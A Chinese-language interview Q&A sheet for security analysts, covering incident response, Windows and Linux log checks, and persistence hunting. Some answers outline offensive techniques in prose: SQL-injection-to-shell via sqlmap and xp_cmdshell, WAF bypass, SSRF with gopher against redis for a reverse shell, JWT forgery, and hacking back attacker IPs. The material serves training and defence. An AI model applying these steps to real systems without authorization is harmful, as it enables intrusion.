  1. windows/linux后⻔都有哪些?
  • 注册表后门,计划任务后门,DLL劫持
  • 定时任务,SSH后门
  1. windows服务器中C2分析排查思路?

​ 火绒剑看进程,先看未知文件,再看对外连接,把怀疑程序上传到开源情报平台

  1. 怎么查看计划任务/启动项/后⻔账号/新增账号/注册表/服务?

​ 控制面板任务计划程序/注册表启动项/(net user,注册表,控制面板用户组)/regedit.exe/C:\Windows\System32

​ /etc/cron* / ~/.bashrc ~/.profile / /etc/passwd,/var/log/auth.log(),/var/log/secure

  1. windows/linux有哪些可疑⽬录/⾼⻛险⽬录?
    • 临时目录
    • 系统目录
    • WEB服务相关目录

⼊侵排查

  1. web服务器被⼊侵,如何分析⼊侵途径?

  2. 内⽹不出⽹办公主机被⼊侵,如何分析⼊侵途径

    入口类型 Windows排查点 Linux排查点
    弱口令爆破 事件ID 4625(登录失败) /var/log/auth.log
    漏洞利用 应用日志(如Web服务、数据库) journalctl -u apache2
    恶意文件 下载目录、邮件附件 ~/.cache//tmp/
    USB摆渡 Setupapi.log(设备接入记录) dmesg/var/log/syslog
    横向渗透 事件ID 4648(显式凭证使用) last/var/log/secure
  3. 如果主机失陷了,已经在横向了,应该如何去做应急,如何进一步排查失陷的范围

    • 隔离主机(立即封锁失陷主机的所有网络通信(防火墙策略或交换机端口禁用),若AD域控受影响,紧急冻结所有域账户密码)
    • 终止恶意进程禁用可疑账户
    • 主机级横向证据,检查近期登录记录:Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624},检查SSH爆破:grep "Failed password" /var/log/auth.log
    • 失陷范围确认 nmap 扫描网段。

⽇志分析

  1. windows安全⽇志怎么看?

    按下 Win + R,输入 eventvwr.msc 打开事件查看器,Windows 日志安全

    以下是需重点关注的安全事件ID及其含义:

    事件ID 说明 攻击场景关联
    4624 账号登录成功 正常登录或攻击者成功爆破
    4625 账号登录失败 密码爆破、横向移动尝试
    4648 使用显式凭证登录(如runas 横向渗透、Pass-the-Hash攻击
    4672 特权账号登录(如Administrator) 高权限账号滥用
    4688 新进程创建 恶意进程启动(需结合父进程分析)
    4698 计划任务创建 后门持久化
    4700 服务安装 攻击者安装恶意服务
    4720 用户账号创建 攻击者添加隐藏账号
    4740 用户账号锁定 账号爆破防护触发
    4776 NTLM认证请求 NTLM Relay攻击痕迹
    5140 网络共享访问 横向移动(如SMB爆破)
  2. windows⽇志4624/4625的含义?

  3. 登录⽇志怎么看?

    windows

    事件ID 说明 攻击场景关联
    4624 账号登录成功 正常登录或攻击者成功爆破
    4625 账号登录失败 密码爆破、横向移动尝试
    4648 使用显式凭证登录(如runas 横向渗透、Pass-the-Hash攻击
    4672 特权账号(如Administrator)登录 高权限账号滥用

Linux

  • /var/log/auth.log(Debian/Ubuntu)
  • /var/log/secure(CentOS/RHEL)
  • /var/log/lastlog(所有用户的最近登录记录)

排除误报

  1. 观察请求协议,观察是否为正常业务点该有的请求(比如业务系统只有GET操作需求,这时候出现一个POST就要注意了)
  2. 通过监测平台筛选这个告警,统计一下出现的次数,看看护网之前有没有出现过
  3. 根据不同漏洞类型进行排除,观察是否成功执行
  4. 多设备联动排除,检索攻击ip是否在其他监控设备出现过,通过情报中心或威胁分析平台对ip归属进行查询

研判技巧(多平台联动研判)

  • 熟知每日报告格式,流程以及对接人
  • 对监控组上报的安全事件进行研判分析,并给出研判结论和处置建议
  • 结合安全告警信息,查看攻击事件,攻击特征,特征文件,攻击IP等判断是否入侵成功,每次15-30分钟刷新一次告警,包括查看分析天眼分析平台,邮件沙箱,waf,hids,SOC。
  • 根据时间类型和重要程度,在事件平台对该告警事件进行研判以及给出处置建议
  • 提供专业建议协助处置组完成应急处置

sql注入如何getshell

  • root权限

  • 知道绝对路径(根据报错,字典,配置信息,旁站的目录来猜测)

  • secure_file_priv没有值(也不能为null)

  • –os-shell

  • xp_cmdshell写脚本拿shell

sqlserver你得到了shell但是权限不是最高,如何提权

  • xp_cmdshell执行命令添加用户,把用户加入管理组

  • cs生成powershell一句话,上线CS

sqlserver 注入漏洞,是公网服务器但是是中文路径,你是sa权限如何写shell

  • 浏览器手工写🐎

  • sqlmap sql-shell写马

PHP危险函数函数被禁用了,你怎么执行命令?

  • 函数劫持
  • php自身的一堆组件,蚁剑插件梭哈

内网渗透你的思路?

内网搜集或内网存活主机探测 => 免杀提权【非必须】 => 抓取登录凭证 => 跨平台横向渗透 => 入口维持 =>数据回传 => 定期权限维护

psexec和wmiexec或者其他的区别

  • 实现远程执行进程
  • psexec执行速度较快,比Wmiexec更快
  • Wmiexec可以执行更高级别的管理操作,功能更强大

钓鱼邮件如何溯源?反制?

  1. 将受害主机断网隔离,有安全设备可以对所有主机资产进行病毒查杀
  2. 查看邮件原文
  • 看指纹信息(什么发送工具平台)
  • 看发送IP地址(服务器IP或攻击IP)
  • 根据域名寻找邮件服务器地址(利用红队手段渗透获取信息)
  • 可能存在个人的ID昵称用户名(利用社工的技术手段进行画像)
  1. 上机排查,netstat查外联,然后就是进程定位查找到文件的位置

怎么排查 0day

  1. 先对失陷的机器进行隔离,进行口令策略加固,封禁入侵IP
  2. 进行攻击流量排查,同时分析下应用日志,重点看下异常报错还有登录的地方,还有url比较长,一看就不正常的
  3. 还有就是异常文件,如果有异常文件,可以先分析后处理,然后回溯排查,拿不准的话可以取得经理同意后复现,进行加固,及时向waf写规则

一台机子失陷了,因业务需要不能断网,怎么处理

  1. 关闭ssh、rdp等允许远程连接的协议端口
  2. 看下外联,有无可疑ip,若有对其进行封禁,或设置ip白名单,只能有所需要的ip才能访问
  3. 排查下有无文件遗留,通过 webshellkiller、D 盾、河马之类的工具进行查杀
  4. 查看下告警,根据告警事件点审计各类日志和流量,看看怎么打进来的进行加固

云函数了解吗,怎么防御

  1. C2客户端发出的流量经过云函数转发到达C2服务器,因为云函数的服务器是自带CDN的,从而达到隐藏的效果。
  2. 封禁域名apigw.tencentcs.com

内网机子失陷,怎么做

  1. 进行隔离、做好边界控制
  2. 查看进程、若存在可疑进程通过pid找到文件路径,保留现场,经同意后干掉可疑进程和可疑文件
  3. 通过可疑文件的创建时间定位到相应的应用日志位置,看看是怎么进来的,进行加固
  4. 查看下定时任务有无可疑的
  5. 看看有没有可疑账号存在
  6. 确认下有没有文件遗留
  7. 使用后门查杀工具进行排查

溯源反制

  1. 通过 ip 定位物理位置,对 ip 进行端口扫描,进行反渗透
  2. 通过社交 ID 进行追踪
  3. 通过 ip 查域名、查邮箱、电话,对域名进行溯源分析
  4. 如果有恶意样本,可通过分析恶意样本,看是否存在攻击者信息
  5. 通过蜜罐进行反制
  6. 也可以进行反钓鱼

mysql4和mysql5的区别

  • MySQL5.0版本后默认定义了information_schema数据库,用来存储数据库元数据信息
  • MySQL4只允许单人访问操作,MySQL5.0以上支持多人同时访问
  • 5.0版本以上添加了视图,以及支持 UTF-8编码

SQL注入绕waf方法

  1. 运算符绕and ,or限制
  2. 内敛注释绕order by
  3. 添加控制字符绕union select
  4. 拆分函数
  5. 大小写
  6. 等价替换

sql注入如何突破转义

  1. 宽字符注入
  2. hex编码绕过。sqlmap中有参数–hex 和–tamper=unmagicquotes.py;
  3. 二次注入,可以破除转义

SQL注入无回显怎么办

1.可以利用时间盲注或者dnslog数据外带

%00截断的原理

  1. php是基础c语言实现的,C语言中认为0x00是结束符号,文件上传之所以可以00截断

ssrf除了进行一些探测还能干什么

使用gopher协议攻击redis,(要是继续问redis怎么攻击,redis利用方法)
ssrf联动redis主要是利用了gopher协议,通过利用ssrf漏洞,当作跳板机,去访问redis数据库
redis授权,ssh公私钥写入,写计划任务,反弹shell。

Struts2相关漏洞

  1. S2-045:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
  2. S2-052:rest使用插件xstreamhandler处理xml数据,由于没对xml文件过滤,反序列xml转为object时导致rce。
  3. S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
  4. S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生
  5. S2-059:攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
  6. S2-061:对S2-059的沙盒绕过

FastJson反序列化的原理(两种方式回答)

  1. FastJson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
  2. JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName,可以使得fastjson支持自省,开启自省之后序列化成JSON的数据就会多出一个@type,也就是这个参数导致了FastJson的反序列化漏洞。在对JSON数据进行反序列化的时候,会去调用指定类中的get/set/is方法。这个参数实现的功能在Fastjson中被称作AutoType,即自动类型。 => AutoType功能开启之后,FastJson就会自动解析@type参数字段

Log4j2反序列化原理(两种方式)

  1. 本质上为JNDI注入,当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,并使用jndi的lookup方法去解析url,并且通过路径获取资源,并且将资源返还给log4j2组件,如果是一个.class文件,就会去执行里面的代码。
  2. 在记录日志的时候会间接的调用log4j2 的 MessagePatternConverter 组件中的 format 方法。该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:ldap 这样的协议格式则进行jndi方式的 ldap 调用。通过JNDI这个接口传入一个可控参数。

Log4j与Log4j2的区别

  1. 配置文件类型:
    log4j是通过一个.properties的文件作为主配置文件的,而现在的log4j2则已经弃用了这种方式,采用的是.xml,.json或者.jsn这种方式来做,可能这也是技术发展的一个必然性,毕竟properties文件的可阅读性真的是有点差。
  2. 核心jar包不同
    log4j只需要引入一个jar包即可,而log4j2则是需要2个核心
    log4j和log4j 2的包路径是不同的,Apache为了区分,包路径都更新了
  3. 文件渲染
    log4j想要生效,我们需要在web.xml中进行配置,只需要把log4j2.xml放到工程resource目录下就行了。
  4. log调用
    log4j2比log4j多两个level,logManager
  5. 配置文件的不同

sqlsever怎么在xpcmd禁用的情况拿shell?

  1. Ole Automation Procedures存储过程提权,简称ole
  2. 沙盒模式提权
  3. 代理计划任务提权

mimikatz抓不到密码的话怎么办?

翻阅文件查找运维等等是否记录密码。或者hash传递、或者获取浏览器的账号密码等等。

如何对接口进行渗透测试

  1. 确定接口地址和功能,例如REST API、SOAP、GraphQL等。

  2. 确认接口的授权机制,例如基于Token的身份验证、OAuth2.0等。

  3. 使用工具或手动测试对接口进行简单的功能测试,例如提交请求、获取响应等。

  4. 对接口进行安全测试,例如:

输入验证:尝试使用各种输入类型和长度来测试输入验证,例如SQL注入、跨站点脚本(XSS)等。

认证和授权:测试接口的身份验证和授权机制,例如尝试使用无效令牌或攻击会话跟踪等。

敏感信息泄露:测试接口是否泄露敏感信息,例如用户凭据、API密钥等。

拒绝服务攻击:测试接口是否容易受到拒绝服务攻击,例如暴力破解、DDoS攻击等。

业务逻辑:测试接口的业务逻辑是否存在漏洞或安全问题,例如尝试越权访问、重放攻击等。

  1. 分析测试结果,并进行修复或改进。

jwt是什么,结构介绍,如何伪造

  1. JSON Web Token(JSON Web令牌)是一个开放标准(rfc7519),它定义了一种紧凑的、自包含的方式,用于在各方之间以JSON对象安全地传输信息。通过JSON形式作为Web应用中的令牌,用于在各方之间安全地将信息作为JSON对象传输。在数据传输过程中还可以完成数据加密、签名等相关处理。
  2. 共分为三部分,以点连接,第一部分为头部,主要记录类型和加密算法,第二部分是载荷,主要记录jwt签发者、jwt所面向的用户、jwt过期时间、jwt的签发时间、其他认证信息等等,第三部分是头部和载荷使用头部定义的加密算法和密钥进行加密的数据,密钥存储在服务端
  3. 从各种渠道获取到密钥即可伪造jwt,当然该密钥也可进行爆破。例如:代码审计到有jwt密钥硬编码情况,则可伪造jwt进行任意用户登录

怎么用天眼看文件上传。

  • 文件威胁鉴定器

天眼有个尿性,告警数据包显示的ip地址是源IP地址还是什么IP地址

  • sip,dip

有个简单场景问,天眼告警请求包,响应包是空白什么都没有

  • 被拦截了

天眼怎么筛选日志

image-20250512110804519

  • 根据平台给的检索字段筛选,比如告警日志里的受害者ip,攻击ip,威胁等级字段。

排查权限维持

  • 排查隐藏用户,影子用户
  • 排查进程与服务,tasklist,ps,top
  • 排查计划任务,crontab -l
  • 排查网络连接 netstat -anopt
  • 排查文件系统,最近修改的文件,webshell 文件
  • 排查日志,分析日志。